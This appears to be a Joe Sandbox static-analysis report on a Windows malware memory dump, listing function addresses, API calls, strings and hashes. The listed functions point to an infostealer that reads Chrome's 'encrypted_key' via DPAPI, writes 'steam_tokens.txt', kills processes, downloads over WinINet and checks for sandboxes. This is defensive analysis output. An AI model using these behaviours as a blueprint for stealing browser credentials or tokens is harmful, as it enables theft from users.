Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindNext
String ID:
API String ID: 2017289724-0
Opcode ID: f435e10a2e07225223205cb9f091beda220976d6989cada7cd717f5f9c446d50
Instruction ID: 4186dc2068c814baecaa748db1055e989b536e8970324b0adf3269028e9b02ff
Opcode Fuzzy Hash: f435e10a2e07225223205cb9f091beda220976d6989cada7cd717f5f9c446d50
Instruction Fuzzy Hash: 6F513E70B112068BDB24EF79D98A9AF77B4AF04304F00553EB856A72A1DB78DC848B94

Function 00405640 Relevance: 12.1, APIs: 8, Instructions: 112networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040565A
RtlAllocateHeap.NTDLL(00000000), ref: 00405661
InternetOpenA.WININET(Function_0002CFF4,00000000,00000000,00000000,00000000), ref: 00405677
InternetOpenUrlA.WININET(00000000,00000001,00000000,00000000,04000100,00000000), ref: 00405692
InternetReadFile.WININET(?,?,00000400,00000001), ref: 004056BC
memcpy.MSVCRT(00000000,?,00000001), ref: 004056E1
InternetCloseHandle.WININET(?), ref: 004056FA
InternetCloseHandle.WININET(00000000), ref: 00405701

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessReadmemcpy
String ID:
API String ID: 1008454911-0
Opcode ID: 39bfd9abbbfd464b144cda71feed78c781dd4d2607ed895f946f54a5c8bb3dbb
Instruction ID: 71c2a2d1e8b1bff0245bb1ace4ede4100b9513cc3bd865d9341d2d7473e0af64
Opcode Fuzzy Hash: 39bfd9abbbfd464b144cda71feed78c781dd4d2607ed895f946f54a5c8bb3dbb
Instruction Fuzzy Hash: FB415C70A00605AFDB24CF54DD88B9BB7B5FF48304F14806AE909AB3D1D7759941CFA8

Function 00424950 Relevance: 12.1, APIs: 8, Instructions: 52processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000,?), ref: 00424969
Process32First.KERNEL32(00000000,00000128), ref: 00424979
Process32Next.KERNEL32(00000000,00000128), ref: 0042498B
OpenProcess.KERNEL32(00000001,00000000,?), ref: 004249AC
TerminateProcess.KERNEL32(00000000,00000000), ref: 004249BB
CloseHandle.KERNEL32(00000000), ref: 004249C2
Process32Next.KERNEL32(00000000,00000128), ref: 004249D0
CloseHandle.KERNEL32(00000000), ref: 004249DB

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseHandleNextProcess$CreateFirstOpenSnapshotTerminateToolhelp32
String ID:
API String ID: 3836391474-0
Opcode ID: 52672e04caeec890ace4a1d791050bff1080cdcf40c9c1db2d30368871fa3206
Instruction ID: 1dcc0a632c58819bc0603b9dca4f2ab71f075bb114674fc9a8b609d01bacb988
Opcode Fuzzy Hash: 52672e04caeec890ace4a1d791050bff1080cdcf40c9c1db2d30368871fa3206
Instruction Fuzzy Hash: 860180B1601224ABE7215B70AC89FEB776DEB48751F00118AF909D2290DFB49D908EA4

Function 0040E2FD Relevance: 10.9, APIs: 7, Instructions: 441stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 0040E6C5
lstrcpy.KERNEL32(00000000,?), ref: 0040E6EE
lstrcpy.KERNEL32(00000000,?), ref: 0040E727
lstrcpy.KERNEL32(00000000,?), ref: 0040E74D
lstrcpy.KERNEL32(00000000,?), ref: 0040E784
FindNextFileA.KERNELBASE(00000000,?), ref: 0040E7BA
FindClose.KERNEL32(00000000), ref: 0040E7C9

Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 00401557
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 00401579
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 0040159B
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 004015FF

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$CloseFileNext
String ID:
API String ID: 1875835556-0
Opcode ID: 88b1ea5eda2a9ce48f6dfaa9fb2f9cafe9e23245f5dfea31c21ce1d13f914ff0
Instruction ID: c35b77a66baadc8340e054e00b3f814d90cf67069b49f44be4c7c24b5b5fae95
Opcode Fuzzy Hash: 88b1ea5eda2a9ce48f6dfaa9fb2f9cafe9e23245f5dfea31c21ce1d13f914ff0
Instruction Fuzzy Hash: 25020B71A012118FDB68CF2AC544B26B7E1AF44714B19C4BED809AB3E2D77AEC52CF44

Function 0040E363 Relevance: 10.9, APIs: 7, Instructions: 441stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 0040E6C5
lstrcpy.KERNEL32(00000000,?), ref: 0040E6EE
lstrcpy.KERNEL32(00000000,?), ref: 0040E727
lstrcpy.KERNEL32(00000000,?), ref: 0040E74D
lstrcpy.KERNEL32(00000000,?), ref: 0040E784
FindNextFileA.KERNELBASE(00000000,?), ref: 0040E7BA
FindClose.KERNEL32(00000000), ref: 0040E7C9

Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 00401557
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 00401579
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 0040159B
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 004015FF

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$CloseFileNext
String ID:
API String ID: 1875835556-0
Opcode ID: 88b1ea5eda2a9ce48f6dfaa9fb2f9cafe9e23245f5dfea31c21ce1d13f914ff0
Instruction ID: c35b77a66baadc8340e054e00b3f814d90cf67069b49f44be4c7c24b5b5fae95
Opcode Fuzzy Hash: 88b1ea5eda2a9ce48f6dfaa9fb2f9cafe9e23245f5dfea31c21ce1d13f914ff0
Instruction Fuzzy Hash: 25020B71A012118FDB68CF2AC544B26B7E1AF44714B19C4BED809AB3E2D77AEC52CF44

Function 00409C70 Relevance: 10.6, APIs: 4, Strings: 3, Instructions: 123memorystringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000), ref: 00409CA8
LocalAlloc.KERNEL32(00000040,?), ref: 00409CDA
StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00409D03
memcmp.MSVCRT(?,DPAPI,00000005), ref: 00409D3C

Strings

, xrefs: 00409D65
"encrypted_key":", xrefs: 00409CFD
DPAPI, xrefs: 00409D36

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: AllocLocallstrcpymemcmp
String ID: $"encrypted_key":"$DPAPI
API String ID: 4154055062-738592651
Opcode ID: 653fbbe2e7d92e3307696a373b52885ef84efa4599a28398b9d30f6d299f070b
Instruction ID: db9b8276ef6f577276e1cc0235255f1893de1c987e5a8bcff6f1e51c5001508b
Opcode Fuzzy Hash: 653fbbe2e7d92e3307696a373b52885ef84efa4599a28398b9d30f6d299f070b
Instruction Fuzzy Hash: FB418D31A0020A9BDB21EF69D9456AF77B4AF44308F04407AED15B72E3DA78AD04CB98

Function 00422AE0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 49registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 00422AF5
HeapAlloc.KERNEL32(00000000), ref: 00422AFC
RegOpenKeyExA.KERNEL32(80000002,02F610E8,00000000,00020119,00422A79), ref: 00422B1B
RegQueryValueExA.KERNEL32(00422A79,CurrentBuildNumber,00000000,00000000,00000000,000000FF), ref: 00422B35
RegCloseKey.ADVAPI32(00422A79), ref: 00422B3F

Strings

CurrentBuildNumber, xrefs: 00422B2F

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3466090806-1022791448
Opcode ID: 766d069e188913b1ce5022210de0afecea3cb6d1cf75717edacc6fd9cf8f61ee
Instruction ID: 5e7a83bc2f047676fdbf5b786ee07f48ddcda10c30f0bd169a88cf0577c49783
Opcode Fuzzy Hash: 766d069e188913b1ce5022210de0afecea3cb6d1cf75717edacc6fd9cf8f61ee
Instruction Fuzzy Hash: D7019E75A00318BFD314CFA0AC59FEB7BB9AB48755F100099FE4597240EAB159048BA0

Function 00422A50 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 47registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 00422A65
HeapAlloc.KERNEL32(00000000), ref: 00422A6C

Part of subcall function 00422AE0: GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 00422AF5
Part of subcall function 00422AE0: HeapAlloc.KERNEL32(00000000), ref: 00422AFC
Part of subcall function 00422AE0: RegOpenKeyExA.KERNEL32(80000002,02F610E8,00000000,00020119,00422A79), ref: 00422B1B
Part of subcall function 00422AE0: RegQueryValueExA.KERNEL32(00422A79,CurrentBuildNumber,00000000,00000000,00000000,000000FF), ref: 00422B35
Part of subcall function 00422AE0: RegCloseKey.ADVAPI32(00422A79), ref: 00422B3F

RegOpenKeyExA.KERNEL32(80000002,02F610E8,00000000,00020119,00419650), ref: 00422AA1
RegQueryValueExA.KERNEL32(00419650,02F65DA8,00000000,00000000,00000000,000000FF), ref: 00422ABC
RegCloseKey.ADVAPI32(00419650), ref: 00422AC6

Strings

Windows 11, xrefs: 00422A80

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3466090806-2517555085
Opcode ID: 83da954e7485ee4d3a0c5ecbf573784b2b5b5a04b3be17a05b4a5e912f876a8f
Instruction ID: 61402390ad51025049d881f481caa8d813a61b51897e1edae4844bb0d0ac3e5a
Opcode Fuzzy Hash: 83da954e7485ee4d3a0c5ecbf573784b2b5b5a04b3be17a05b4a5e912f876a8f
Instruction Fuzzy Hash: 2701AD71700319BFDB24DBA4AD89EEA777EEB44715F000159FE09D3290EAB499448BE0

Function 0041D9A0 Relevance: 9.1, APIs: 6, Instructions: 127registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0041D9C6
RegOpenKeyExA.KERNEL32(80000001,02F65AC8,00000000,00020119,?), ref: 0041D9E5
RegQueryValueExA.ADVAPI32(?,02F66390,00000000,00000000,00000000,000000FF), ref: 0041DA09
RegCloseKey.ADVAPI32(?), ref: 0041DA13
lstrcatA.KERNEL32(?,00000000), ref: 0041DA38
lstrcatA.KERNEL32(?,02F663A8), ref: 0041DA4C

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: 4eee24ed864dc15183302491e87781633aa2be64882fd0c8acaccbf0b3ed0ade
Instruction ID: c53f79f056b47705cfa30d44919f92b9593f1236b3069b0da14ff4b5c9ac4423
Opcode Fuzzy Hash: 4eee24ed864dc15183302491e87781633aa2be64882fd0c8acaccbf0b3ed0ade
Instruction Fuzzy Hash: E1418471A1020CAFCB54EF65EC86BDE7379AF44304F404069B509A72E1DE74AA898FD5

Function 0041EE90 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 95stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 0041EEBF
lstrlenA.KERNEL32(00000000), ref: 0041EED6
lstrcpy.KERNEL32(00000000,00000000), ref: 0041EEFD
lstrlenA.KERNEL32(00000000), ref: 0041EF04
lstrcpy.KERNEL32(00000000,steam_tokens.txt), ref: 0041EF32

Strings

steam_tokens.txt, xrefs: 0041EF2C

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID: steam_tokens.txt
API String ID: 367037083-401951677
Opcode ID: 807075f56e82b67148f2d297262f3f9afee62b3ae86e7a4b6f3ffa4e2d78f82d
Instruction ID: 471dd0bff2485affd516297f2df2a1bbce86f846f7528f4a4a6213b53c0c08ce
Opcode Fuzzy Hash: 807075f56e82b67148f2d297262f3f9afee62b3ae86e7a4b6f3ffa4e2d78f82d
Instruction Fuzzy Hash: D0319331B111155BC721BB7AED4A59F7765AF40308F05103ABC05AB2D2DEBCDC494BD9

Function 00409A80 Relevance: 9.1, APIs: 6, Instructions: 67filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,0040140E), ref: 00409A9A
GetFileSizeEx.KERNEL32(00000000,?,?,?,?,0040140E), ref: 00409AB0
LocalAlloc.KERNEL32(00000040,?,?,?,?,0040140E), ref: 00409AC7
ReadFile.KERNEL32(00000000,00000000,?,0040140E,00000000,?,?,?,0040140E), ref: 00409AE0
LocalFree.KERNEL32(?,?,?,?,0040140E), ref: 00409B00
CloseHandle.KERNEL32(00000000,?,?,?,0040140E), ref: 00409B07

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 011df476ac03dad17f13aaef4dec78ac2a329d2ea7c6b1af82c4ad625071f60c
Instruction ID: e07bc1cf37077e01f74a08ddf4965744106ae1532c602a75826c3d4cb70f4bb0
Opcode Fuzzy Hash: 011df476ac03dad17f13aaef4dec78ac2a329d2ea7c6b1af82c4ad625071f60c
Instruction Fuzzy Hash: 97115E71600209AFE710DFA9DDC8AAB737DFB44350F10016AF901A72C1EB74AD50CBA4

Function 00423590 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 50memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,00000000,?), ref: 004235BF
HeapAlloc.KERNEL32(00000000), ref: 004235C6
GlobalMemoryStatusEx.KERNEL32 ref: 004235E1
wsprintfA.USER32 ref: 00423607

Strings

%d MB, xrefs: 00423601

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB
API String ID: 3644086013-2651807785
Opcode ID: d446d2035495f7c6c4044f5e29a2e4856f68b4a019fc26223229d4c74c349257
Instruction ID: 6e8bf50db7b77225c53c83c68e5d14ad09da3b1c6028a79d08b2dd4ae5254c81
Opcode Fuzzy Hash: d446d2035495f7c6c4044f5e29a2e4856f68b4a019fc26223229d4c74c349257
Instruction Fuzzy Hash: 2901B5B1B04614AFD7089F98DD45B6EB7B9EB45711F50022EF906E7380D7B899008AE9

Function 0041BDB9 Relevance: 7.6, APIs: 6, Instructions: 130stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32 ref: 0041BDC0
lstrcpy.KERNEL32(00000000,?), ref: 0041BDEB
lstrcpy.KERNEL32(00000000,?), ref: 0041BE1E
lstrcpy.KERNEL32(00000000,?), ref: 0041BE49
lstrcpy.KERNEL32(00000000,?), ref: 0041BE79
lstrcpy.KERNEL32(00000000,?), ref: 0041BEA4

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 5451fd6d90aabb68a357d9439f38a1aa0b4e44eb5641cf90d3217ffb9ed4eb58
Instruction ID: 1165485b45a228435688a874cb73093b538e027e54e43e8f50fb408769be3a16
Opcode Fuzzy Hash: 5451fd6d90aabb68a357d9439f38a1aa0b4e44eb5641cf90d3217ffb9ed4eb58
Instruction Fuzzy Hash: 8A41C970B102158BCB21AF7AE98A59F77B4AF54304F14507AB84AB7291DE78EC448FD8

Function 00423300 Relevance: 7.6, APIs: 5, Instructions: 61registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00423336
HeapAlloc.KERNEL32(00000000), ref: 0042333D
RegOpenKeyExA.KERNEL32(80000002,02F61270,00000000,00020119,00000000), ref: 0042335C
RegQueryValueExA.KERNEL32(00000000,02F65A08,00000000,00000000,00000000,000000FF), ref: 00423377
RegCloseKey.ADVAPI32(00000000), ref: 00423381

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: 5f23adbf8f77882b38d3389ab66deaa96de8ce0698b56e45c7a97e5aeb5adecd
Instruction ID: bbb021df0fd3dd17013448114c7f00932c8449e43f516f8a1b4cf1f7fe56225e
Opcode Fuzzy Hash: 5f23adbf8f77882b38d3389ab66deaa96de8ce0698b56e45c7a97e5aeb5adecd
Instruction Fuzzy Hash: 0C118272A04204AFD714CB94EC45FABB77DFB88711F10411AFA05D3380DB7459048BE1

Function 00401030 Relevance: 7.6, APIs: 5, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,00000000,00000000,?,?,00421E5A), ref: 00401046
VirtualAllocExNuma.KERNEL32(00000000,?,?,00421E5A), ref: 0040104D
ExitProcess.KERNEL32 ref: 00401058
VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,00421E5A), ref: 0040106C
VirtualFree.KERNEL32(00000000,17C841C0,00008000,?,?,00421E5A), ref: 004010AB

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocProcess$CurrentExitFreeNuma
String ID:
API String ID: 3477276466-0
Opcode ID: eebbf2a7d8a8f00017b338c7aa3164428bececb1a666839850d6e3d3436eabea
Instruction ID: aa33e4c314b55322e5f005f032d3d73aad5dab283e8b13059c6bb542b9569755
Opcode Fuzzy Hash: eebbf2a7d8a8f00017b338c7aa3164428bececb1a666839850d6e3d3436eabea
Instruction Fuzzy Hash: 5E0144713403047BE7240A656C1AF6B77AEA781B01F209029F744F33D0DAB1EA008AB8

Function 00417D60 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 124COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00417DD4
std::_Xinvalid_argument.LIBCPMT ref: 00417DEF
